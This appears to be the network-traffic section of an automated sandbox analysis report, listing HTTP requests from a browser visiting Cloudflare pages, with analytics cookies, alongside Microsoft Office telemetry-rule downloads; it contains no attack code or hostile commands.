cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/17tDJ5kPaGE8eLFJvByBgR/c28fb006fa3ddfba75b2009591559296/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f3ab8b5b-5302-486c-855d-bc4f8ee695e5 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=236f6079-72e6-46ce-8669-94662ce0bf2d&wu=29a3b45b-5f72-482d-8dab-760b869e9342&ca=2024-10-16T15%3A57%3A12.053Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fearthheros.com.de%2F&pv=1&fv=2024-10-16-1c44ba025e&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: h3Jt6V6wWlPvDLS1RnZUZw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insights/c/u; mbox=session#62673578329733919643503417833114919531-BpZSAP#1729096100; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094244685%2C%22hasActivit
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insights/c/u; mbox=session#62673578329733919643503417833114919531-BpZSAP#1729096100; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094247105&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=3&rnd=389013&cdn_o=a&_biz_z=1729094247106 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=1136624952 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=145988361 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=584493969 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=5ef17e54-a1c3-4ddf-bdce-5528f700500e HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
